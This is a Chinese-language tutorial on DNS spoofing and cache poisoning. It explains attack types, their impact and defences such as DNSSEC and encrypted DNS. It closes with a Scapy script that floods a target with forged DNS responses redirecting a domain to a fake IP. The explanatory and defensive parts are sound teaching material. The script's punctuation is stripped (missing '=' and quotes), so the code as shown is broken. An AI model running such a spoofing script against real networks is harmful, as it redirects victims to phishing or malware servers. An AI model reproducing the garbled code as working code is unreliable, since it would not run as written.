目录DNS 劫持攻击的工作原理DNS 劫持的常见类型DNS 劫持的攻击手法1. DNS 响应伪造2. 改变 DNS 解析配置3. 利用开放解析器DNS 劫持攻击的影响防止 DNS 劫持的措施DNS 劫持的 Python 脚本示例安装依赖Python 脚本示例脚本说明总结DNS 劫持DNS Spoofing也称为DNS Cache Poisoning是一种通过伪造 DNS 响应来篡改 DNS 解析的攻击方式目的是将用户引导到恶意网站。攻击者通过伪造 DNS 响应使得受害者的 DNS 查询被篡改导致用户访问被攻击者控制的恶意网站。DNS 劫持攻击的工作原理DNS 查询流程用户在浏览器中输入网址时浏览器会向 DNS 服务器查询该网址对应的 IP 地址。DNS 服务器返回正确的 IP 地址浏览器连接到目标网站。DNS 劫持攻击过程攻击者在用户与 DNS 服务器之间进行中间人攻击或直接攻击 DNS 服务器。攻击者伪造 DNS 响应将原本正确的 IP 地址替换为恶意 IP 地址。受害者的 DNS 缓存被篡改导致之后的请求被引导到恶意服务器上。伪造 DNS 响应攻击者通过伪造 DNS 响应并将其发送到目标 DNS 服务器或客户端诱使目标用户访问伪造的服务器例如伪造的钓鱼网站。DNS 劫持的常见类型缓存污染Cache Poisoning攻击者向 DNS 服务器发送伪造的 DNS 响应将恶意的 IP 地址缓存到 DNS 服务器中。这样当其他用户查询该域名时DNS 服务器返回篡改后的地址。中间人攻击MITM攻击者位于客户端和 DNS 服务器之间拦截并篡改 DNS 查询请求和响应。通过伪造 DNS 响应将受害者引导到恶意网站。DNS 请求劫持DNS Hijacking攻击者篡改 DNS 请求的目的地将其重定向到攻击者控制的 DNS 服务器进而伪造 DNS 响应。域名劫持攻击者获取域名注册账户的控制权将域名的 DNS 记录指向恶意服务器。DNS 劫持的攻击手法1. DNS 响应伪造在 DNS 劫持攻击中攻击者伪造 DNS 响应并将其发送到目标 DNS 服务器或客户端。这些伪造的响应包含恶意 IP 地址。当 DNS 服务器缓存了错误的解析信息后受害者访问目标网站时会被引导到恶意网站。攻击者伪造 DNS 响应时必须保证伪造的响应能够优先于正常的 DNS 响应进入缓存。2. 改变 DNS 解析配置一些攻击者通过修改受害者设备的 DNS 设置将其 DNS 服务器指向攻击者控制的服务器。这样所有的 DNS 查询都会被发送到攻击者控制的 DNS 服务器上进而被篡改。3. 利用开放解析器开放 DNS 解析器是一种允许任意用户发起 DNS 查询的公共 DNS 服务器。攻击者可以利用这些开放的 DNS 解析器向目标服务器发送大量伪造的 DNS 响应污染其 DNS 缓存。DNS 劫持攻击的影响钓鱼网站用户可能会被引导到伪造的银行或社交媒体网站从而泄露敏感信息。恶意软件分发攻击者可能通过篡改 DNS 响应将用户引导到恶意软件分发网站。流量劫持攻击者可以监控受害者的流量进行进一步的攻击或窃取数据。防止 DNS 劫持的措施使用 DNSSECDNS 安全扩展DNSSEC 通过为 DNS 响应添加数字签名确保响应的真实性防止 DNS 响应被篡改。配置 DNS 服务器安全设置配置 DNS 服务器不允许来自未授权 IP 地址的请求。使用随机查询端口和源端口以增加 DNS 劫持的难度。启用加密 DNS 协议使用DNS over HTTPS (DoH)或DNS over TLS (DoT)来加密 DNS 请求和响应防止 DNS 请求被中间人窃听和篡改。监控 DNS 流量监控 DNS 查询和响应及时发现异常流量防止劫持攻击的发生。定期清理和刷新 DNS 缓存定期清除 DNS 缓存避免缓存中存在恶意条目。使用 VPN使用 VPN 可以避免 DNS 请求被外部攻击者劫持。DNS 劫持的 Python 脚本示例以下是一个基本的使用 Python 实现的 DNS 伪造攻击的示例。请注意使用此脚本进行攻击是非法的必须只用于安全测试和合法授权的环境中。安装依赖pip install scapyPython 脚本示例from scapy.all import * import random import time # DNS 伪造攻击 def dns_spoof(target_ip, target_domain, fake_ip): # 构造 DNS 响应包 dns_response IP(dsttarget_ip) / UDP(dport53, sportRandShort()) / DNS( idRandShort(), qr1, aa1, qdDNSQR(qnametarget_domain, qtypeA), anDNSRR( rrnametarget_domain, ttl60, rdatafake_ip) ) send(dns_response, verbose0) # 目标设置 target_ip 192.168.1.100 # 目标机器的 IP 地址 target_domain example.com # 伪造的域名 fake_ip 10.0.0.1 # 伪造的恶意 IP 地址 # 持续发送伪造的 DNS 响应 while True: dns_spoof(target_ip, target_domain, fake_ip) print(fDNS 伪造成功目标 {target_domain} 指向 {fake_ip}) time.sleep(2) # 每 2 秒发送一次脚本说明dns_spoof函数构造并发送伪造的 DNS 响应包将目标域名target_domain的 IP 地址篡改为恶意 IPfake_ip。IP(dsttarget_ip)构造目标 IP 地址。UDP(dport53, sportRandShort())使用 UDP 协议发送 DNS 响应目标端口为 53DNS 标准端口源端口随机。DNS(qr1)设置 DNS 响应标志。DNSRR(rrnametarget_domain, ttl60, rdatafake_ip)伪造的 DNS 记录将target_domain域名指向fake_ip。总结DNS 劫持DNS Spoofing攻击通过伪造 DNS 响应或篡改 DNS 解析过程能够将受害者的网络流量引导到恶意服务器。防止此类攻击的关键在于配置安全的 DNS 服务器、使用 DNSSEC 进行响应验证、以及采用加密的 DNS 协议如 DoH 或 DoT。